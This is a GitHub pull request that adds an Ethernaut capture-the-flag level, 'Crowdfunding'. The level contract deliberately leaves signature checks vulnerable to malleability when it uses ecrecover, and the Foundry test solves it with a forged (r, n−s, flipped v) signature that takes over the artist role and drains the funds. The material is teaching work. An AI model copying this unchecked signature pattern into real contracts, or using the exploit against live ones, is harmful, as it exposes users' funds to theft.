Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Crowdfunding - New Level (Level 32) #720

Open
wants to merge 6 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 11 additions & 1 deletion client/src/gamedata/authors.json
Original file line number Diff line number Diff line change
Expand Up @@ -182,6 +182,16 @@
"https://www.linkedin.com/in/afonso-dalvi-711635112/"
],
"emails": ["[email protected]","[email protected]"]
},
"eduardowestc": {
"name": [
"Eduardo W. da Cunha"
],
"emails": [],
"websites": [
"https://www.linkedin.com/in/eduardo-westphal-da-cunha/"
],
"donate": "0x8FcB647096a5A5B0Ff6B944C5B2f3d2c9e1f65A0"
}
}
}
}
7 changes: 7 additions & 0 deletions client/src/gamedata/en/descriptions/levels/crowdfunding.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
A famous artist is organizing a crowdfund for his/her next big project.

Your goal is to drain all the funds from the crowdfund.

 
Things that might help
* Look into security issues from Solidity's `ecrecover` built-in function.
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
Well done!

Signature malleability is a big issue when recovering addresses. There is actually a simple way to avoid this problem, as it is done in OpenZeppelin's ECDSA library. Check it out!
21 changes: 18 additions & 3 deletions client/src/gamedata/gamedata.json
Original file line number Diff line number Diff line change
Expand Up @@ -496,6 +496,21 @@
"deployId": "31",
"instanceGas": 750000,
"author": "Waiandt&Dalvi"
}
]
}
},
{
"name": "Crowdfunding",
"created": "2024-04-05",
"difficulty": "7",
"description": "crowdfunding.md",
"completedDescription": "crowdfunding_complete.md",
"levelContract": "CrowdfundingFactory.sol",
"instanceContract": "Crowdfunding.sol",
"revealCode": true,
"deployParams": [],
"deployFunds": 1,
"deployId": "30",
"instanceGas": 1000000,
"author": "eduardowestc"
}
]
}
52 changes: 52 additions & 0 deletions contracts/src/levels/Crowdfunding.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Crowdfunding {
address public owner;
address public artist;
string public projectName;
bytes public lastSignature;

receive() external payable {}

constructor(address owner_, string memory newProjectName) {
owner = owner_;
projectName = newProjectName;
}

function withdraw() external {
require(msg.sender == artist, "Not artist");

(bool success, ) = artist.call{value: address(this).balance}("");

require(success, "Withdraw failed");
}

function setArtist(address newArtist, bytes calldata signature) external {
require(
keccak256(signature) != keccak256(lastSignature),
"already used signature"
);
bytes32 nameHash = keccak256(abi.encodePacked(projectName));
bytes32 messageHash = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", nameHash)
);
(bytes32 r, bytes32 s, uint8 v) = splitSignature(signature);
require(owner == ecrecover(messageHash, v, r, s));

artist = newArtist;
lastSignature = signature;
}

function splitSignature(
bytes memory signature
) public pure returns (bytes32 r, bytes32 s, uint8 v) {
if (signature.length == 65) {
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
}
}
}
37 changes: 37 additions & 0 deletions contracts/src/levels/CrowdfundingFactory.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import {Level} from "./base/Level.sol";
import {Crowdfunding} from "./Crowdfunding.sol";

contract CrowdfundingFactory is Level {
bytes public signature =
hex"7986fd095b20021de58a0c43a03a9f18204bc4f0e05d2624cb539174e73e0a4c048155b5a878c337217db7244af6b3930a6ee90ffba2d488f3bce6f7258ca2251c";
address public signer = 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266;
address public artist = 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7;

function createInstance(
address _player
) public payable override returns (address) {
_player;

string memory projectName = "amazing crowdfunding";
Crowdfunding crowdfunding = new Crowdfunding(signer, projectName);

(bool success, ) = address(crowdfunding).call{value: 1 ether}("");
require(success, "Failed to transfer funds");
crowdfunding.setArtist(artist, signature);

return address(crowdfunding);
}

function validateInstance(
address payable _instance,
address _player
) public view override returns (bool) {
Crowdfunding crowdfunding = Crowdfunding(_instance);

return crowdfunding.artist() == _player && _instance.balance == 0;
}
}
97 changes: 97 additions & 0 deletions contracts/test/levels/Crowdfunding.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,97 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test, console} from "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";

import {Crowdfunding} from "src/levels/Crowdfunding.sol";
import {CrowdfundingFactory} from "src/levels/CrowdfundingFactory.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

contract TestCrowdfunding is Test, Utils {
Ethernaut ethernaut;
Crowdfunding instance;

address payable owner;
address payable player;

/*//////////////////////////////////////////////////////////////
HELPERS
//////////////////////////////////////////////////////////////*/

function setUp() public {
address payable[] memory users = createUsers(3);

address initialArtist = users[0];
vm.label(initialArtist, "Initial Artist");

player = users[1];
vm.label(player, "Player");

owner = users[2];
vm.label(owner, "Owner");

vm.startPrank(owner);
ethernaut = getEthernautWithStatsProxy(owner);
CrowdfundingFactory factory = new CrowdfundingFactory();
ethernaut.registerLevel(Level(address(factory)));
vm.stopPrank();

vm.startPrank(player);
uint256 gasStart = gasleft();
instance = Crowdfunding(
payable(
createLevelInstance(ethernaut, Level(address(factory)), 1 ether)
)
);
uint256 gasEnd = gasleft();
console.log("Gas to create instance:", gasStart - gasEnd);
vm.stopPrank();
}

function _splitSignature(
bytes memory signature
) internal pure virtual returns (bytes32 r, bytes32 s, uint8 v) {
if (signature.length == 65) {
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
}
}

/*//////////////////////////////////////////////////////////////
TESTS
//////////////////////////////////////////////////////////////*/

/// @notice Check the intial state of the level and enviroment.
function testInit() public {
vm.prank(player);
assertFalse(submitLevelInstance(ethernaut, address(instance)));
}

/// @notice Test the solution for the level.
function testSolve() public {
uint256 n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141;

bytes memory signature = instance.lastSignature();
(bytes32 r, bytes32 s, uint8 v) = _splitSignature(signature);

uint8 manipulatedV = v % 2 == 0 ? v - 1 : v + 1;
uint256 manipulatedS = n - uint256(s);
bytes memory manipulatedSignature = abi.encodePacked(
r,
bytes32(manipulatedS),
manipulatedV
);

vm.startPrank(player);
instance.setArtist(player, manipulatedSignature);
instance.withdraw();

assertTrue(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
}